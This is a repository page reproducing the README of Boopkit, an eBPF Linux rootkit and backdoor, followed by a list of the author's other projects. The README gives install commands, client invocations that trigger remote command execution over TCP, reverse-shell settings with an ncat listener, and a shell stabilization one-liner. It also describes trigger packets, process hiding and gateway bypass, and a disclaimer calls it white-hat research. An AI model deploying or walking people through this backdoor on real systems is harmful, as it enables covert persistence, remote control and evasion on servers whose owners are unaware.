• Stars
    star
    1,540
  • Rank 30,382 (Top 0.6 %)
  • Language
    C
  • License
    Apache License 2.0
  • Created over 2 years ago
  • Updated about 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Linux eBPF backdoor over TCP. Spawn reverse shells, RCE, on prior privileged access. Less Honkin, More Tonkin.
================================================================

    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—
    โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ•šโ•โ•โ–ˆโ–ˆโ•”โ•โ•โ•
    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘   
    โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ• โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘   
    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘     โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘   
    โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•     โ•šโ•โ•  โ•šโ•โ•โ•šโ•โ•   โ•šโ•โ•   
    Author: Kris Nรณva <[email protected]> Version 1.4.0
    
    IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
    LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 
    EXEMPLARY, OR CONSEQUENTIAL DAMAGES.    

    DO NOT ATTEMPT TO USE THE TOOLS TO VIOLATE THE LAW.
    THE AUTHOR IS NOT RESPONSIBLE FOR ANY ILLEGAL ACTION.
    MISUSE OF THE SOFTWARE, INFORMATION, OR SOURCE CODE
    MAY RESULT IN CRIMINAL CHARGES.
    
    Use at your own risk.

================================================================

Boopkit.
Linux rootkit and backdoor. Built using eBPF.

Usage: 
boopkit [options]

Options:
-h, help           Display help and usage for boopkit.
-i, interface      Interface name. lo, eth0, wlan0, etc
-s, sudo-bypass    Bypass sudo check. Breaks PID obfuscation.
-r, reverse-conn   Attempt a reverse RCE lookup if no payload found.
-q, quiet          Disable output.
-x, reject         Source addresses to reject triggers from.

Linux backdoor, rootkit, and eBPF bypass tools. Remote command execution over raw TCP.

  • Tested on Linux kernel 5.16
  • Tested on Linux kernel 5.17
  • Remote code execution over TCP (SSH, Nginx, Kubernetes, etc)
  • Network gateway bypass (bad checksums, TCP reset)
  • Self obfuscation at runtime (eBPF process hiding)
Disclaimer

This is NOT an exploit! This requires prior privileged access on a server in order to work! I am a professional security researcher. These are white hat tools used for research purposes only. Use this responsibly. Never use this software illegally.

FSpgEXTacAYme8t

Server Side

Download and build boopkit.

wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz 
cd boopkit-1.3.0/
make
sudo make install

Run boopkit in the foreground.

# Reject all boops on localhost and 10.0.0.1
boopkit -x 127.0.0.1 -x 10.0.0.1

Run boopkit in the background in quiet mode.

# Danger! This can be VERY hard to stop! Run this at your own risk!
boopkit -q &

Boopkit is now running and can be exploited using the client boopkit-boop command line tool.

Client Side

Download and build boopkit.

wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz 
cd boopkit-1.2.0/
make
sudo make install

Run boopkit-boop against the server.

# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
  -lhost $LHOST \
  -lport $LPORT \
  -rhost $RHOST \
  -rport $RPORT \
  -c "$RCE"

Boop Vectors

Boopkit will respond to various events on the network. Both of which can be triggered with the boopkit-boop tool.

TCP Header Format. Taken from RFC 793. September 1981

        0                   1                   2                   3
        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |          Source Port          |       Destination Port        |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                        Sequence Number                        |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                    Acknowledgment Number                      |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |  Data |           |U|A|P|R|S|F|                               |
       | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
       |       |           |G|K|H|T|N|N|                               |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |           Checksum            |         Urgent Pointer        |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       |                    Options                    |    Padding    |
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
       {                             data                              }
       {                             ....                              }
       {                             data                              }
       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

1. Bad Checksum

First the boopkit-boop tool will send a malformed TCP SYN packet with an empty checksum to the server over a SOCK_RAW socket. This will trigger boopkit remotely regardless of what TCP services are running. This works against any Linux server running boopkit, regardless of the state of TCP services.

Use -p with boopkit-boop to only use this first vector.

โš ๏ธ Some modern network hardware will DROP all malformed checksum packets such as the one required to exploit boopkit using this vector!

2. Sending ACK-RST packet

Next the boopkit-boop tool will complete a valid TCP handshake with a SOCK_STREAM socket against a remote TCP service such as SSH, Kubernetes, Nginx, etc. After the initial TCP handshake is complete, boopkit-boop will repeat the process a 2nd time. The 2nd handshake will flip the TCP reset flag in the packet, trigger a TCP reset on the server.

Either of these tactics are enough to independently trigger boopkit. Various network hardware and runtime conditions will make either tactic more viable. Boopkit will try both, and respond to both by default.

Boopscript

The boopscript file is a Metasploit compatible script that can be used to remotely trigger the boopkit backdoor after boopkit-boop is installed on a remote Linux machine.

# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"

NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"

Compile Time Dependencies

  • 'clang'
  • 'bpftool' Required for libbpf
  • 'xdp-tools' Required for libxdp
  • 'llvm'
  • 'pcap'
  • 'lib32-glibc'

Reverse Shell Stabilization

python -c "import pty; pty.spawn('/bin/bash')"

References

Credit to the original authors for their helpful code samples! I forked a lot of code for this project!

More Repositories

1

naml

Convert Kubernetes YAML to Golang
Go
1,256
star
2

xpid

Linux Process Discovery. C Library, Go bindings, Runtime.
Go
217
star
3

4n6

Linux Process Discovery. C Library, Go bindings, Runtime.
Go
178
star
4

kaar

Kubernetes Application Archive
Go
151
star
5

krex

Kubernetes Resource Explorer
Go
134
star
6

lolgopher

Rainbow Writer implementation for Golang
Go
113
star
7

terraformctl

Running Terraform in Kubernetes as a controller
Go
88
star
8

q

Surface Linux networking metrics with eBPF
Rust
87
star
9

rust-nova

Rust template repository.
Rust
73
star
10

kops-demo

Material from speaking on Kubernetes kops
Shell
65
star
11

hack

Kubernetes security and vulnerability tools and utilities.
Shell
56
star
12

kush

Kubernetes Unhinged Shell ๐Ÿ˜Ž
Go
46
star
13

klone

Taking you from a git repository to development in seconds
Go
45
star
14

nivenly.com

Source code for nivenly.com
HTML
38
star
15

tcpjack

TCP Instrumentation
C
38
star
16

knobs

Kubernetes Native Open Broadcasting Software
Go
37
star
17

logger

Simple logger (with rainbows) for Go
Go
36
star
18

falco-trace

Falco Running with Ptrace(2) for Kernel Events
Shell
36
star
19

splain

Fantastic manuals for the Unix like operating systems
Roff
35
star
20

novix

kris nรณva userspace and kernel tools for the Novix operating system
C
35
star
21

photoprism-client-go

Go client for the Photoprism Application
Go
32
star
22

twinx

A twitch focused command line tool for producing, archiving and managing live stream content. Built for Linux.
Go
26
star
23

home

My entire hacker toolkit ready for to run on a vanilla Arch Linux installation.
Shell
23
star
24

heresafe

Text someone once you connect to a WiFi network.
Python
22
star
25

krust

Kubernetes Client Rust
Rust
22
star
26

nginx-proxy-analysis

A small research project aimed at understanding the behaviour of a simple nginx reverse proxy given various upstream server conditions.
C
21
star
27

stateful-app

A great stateful application
Go
20
star
28

go-nova

Go template repository.
Go
18
star
29

bashernetes

A Kubernetes implementation in bash (srsly)
17
star
30

hachyderm.io

Source code for hachyderm.io
17
star
31

double-slit-experiment

Identify containers at runtime and observe them. No container runtime required. Read only access to the kernel.
Go
16
star
32

alice

My main kubernetes toolchain and configuration.
Shell
15
star
33

Makefile

Makefile example. All Makefiles should have "help"
Makefile
15
star
34

.net

Compiled Works: Computer Science, Engineering, Analysis, Research
HTML
14
star
35

kubernetes-freebsd

Notes, Documentation, and Convenience scripts for running Kubernetes on FreeBSD
Shell
13
star
36

prine

Hacker themed Hugo theme based on Nivenly.com
HTML
13
star
37

cloud-native-infrastructure-demo

Demo content for cloud native infrastructure talks
HCL
12
star
38

kryptid

Kubernetes on Arch Linux
Shell
11
star
39

aurora

Generate rust command line executables from gRPC protobuf services.
Rust
10
star
40

spark-cluster-api-operator

Use Kubernetes to autoscale your spark clusters.
Go
10
star
41

go-plugin-demo

Notes from my presentation on Go plugins in 1.8
Go
10
star
42

bjorno

Go HTTP server built for runtime interpolation with text/template.
Go
9
star
43

viz

Visualize TCP connections in a distributed network.
9
star
44

cupernetes

The Common Unix Printing System for Kubernetes
C
8
star
45

kscan

A simple tool to exploit unsecure Kubernetes clusters
8
star
46

gomfg

The best way to start a new Go project
7
star
47

rebrandly-go-sdk

A Go SDK for the Rebrandly API
Go
7
star
48

skrape

Snapshot the internet from a shell.
Shell
7
star
49

SYN-spoof

A SYN spoof penetration test written and compiled on FreeBSD 10+
C
7
star
50

kubernetes-workshop-old

Welcome to Kubernetes! We love you!
6
star
51

thenovashow

Live Streaming repository for all things twitch.tv/krisnova
6
star
52

twitter-watch

Watching Twitter, because why not?
Shell
6
star
53

kssh

kSSH is a simple utility for managing SSH hosts and tracking aliases in an SSH config file.
Python
6
star
54

c-container

Container-y things in C
C
5
star
55

kenv

kenv - Kris' Environment - My name is Kris. This is where I store my environment code.
Emacs Lisp
5
star
56

barff

BPF Application Relay For Falco (BARFF) ๐Ÿคฎ
C
5
star
57

certsar

For those "Special TLS Encryption Operations"
C
5
star
58

farm

Falco on ARM
C++
4
star
59

brand

Official Kris Nรณva Brand and Branding Guidelines
CSS
4
star
60

go-azure

Go SDK for Microsoft's Azure Cloud
Go
4
star
61

forfucksake

A ZFS Distributed Filesystem Service (ZFFS)
Shell
4
star
62

pqueue

Concurrent persistent message queue written in Go
Go
3
star
63

halp

Emergency iridium communication relay.
Go
3
star
64

gorpc

Gorpsy. Remote procedure call for local linux hosts written in Go.
Go
3
star
65

kournalctl

Read only system logs within a Kubernetes pod
Shell
3
star
66

todo

Public facing list of neverending project ideas.
3
star
67

bjorn

official github repository for fjalljรถkulbjรถrn nรณvasson (bjรถrn)
3
star
68

legendary-apache-kubernetes

Running Apache Spark and Apache Kafka on Kubernetes
3
star
69

aur-falco

AUR Installer for Falco - Runtime Security
Shell
3
star
70

novaarchive

Commonly used go convenience tools and libraries
Go
3
star
71

go-kvm

A KVM Library written in Go
3
star
72

pen

Penetration tools.
Shell
3
star
73

homework

Nova doing hacks for interviews
Go
3
star
74

puffin-operator

Example operator based on puffins
Go
3
star
75

deva

Developer Advocate CLI Awesomeness
3
star
76

jails-container-runtime

FreeBSD Jails wrapper that implements OCI
3
star
77

anchovies

Import a Go package and start writing records. Persist data across processes based on unique machines.
Go
3
star
78

pacfem

Archlinux user repository package manager written in Go
2
star
79

azurite

Helping developers hack on Microsoft Azure!
2
star
80

paketto

Paketto Keiretsu (Archive) Dan Kaminsky
C
2
star
81

falco-rules

My Falco Rules
2
star
82

charlie

Cloud Infrastructure Testing Library (Under construction)
Go
2
star
83

kind-test

Use Kubernetes in Docker to write Kubernetes unit tests using the idiomatic Go testing suite
Go
2
star
84

lit

Print in-memory structs as syntactically correct Go literals.
2
star
85

load-test

Load testing a single host using only SSH and bash
Shell
2
star
86

go-service

A systemd service library written in Go
2
star
87

terrapin

Kubernetes Control Station built on Cluster API
JavaScript
2
star
88

mrow

Handy functions I am tired of re-writing
2
star
89

bbb

Securely manage Linux features from Kubernetes.
2
star
90

kubeflow-with-heptio

Working repository for our presentation on running Kubeflow with Heptio tools on the backend
1
star
91

tilda

~
1
star
92

net-snoop

A small network snooping library that is used on nivenly.com
1
star
93

space

My GitHub space.
1
star
94

c-kit

A collection of tools written in C wrapped up in a Go command line tool.
1
star
95

thenovadiary

Automation for the @thenovadiary Twitter account
Go
1
star
96

rusty-webserver

Just building a containerized web server in Rust
1
star
97

WebApplication

Primary Public Facing Repository
CSS
1
star
98

kgit

External git configuration management and enforcement.
Python
1
star
99

zomg-audit

A repository that contains software to hack a Kubernetes cluster to turn on dynamic auditing because why not?
1
star
100

zoosb

ZFS Pool manager for USB block devices
1
star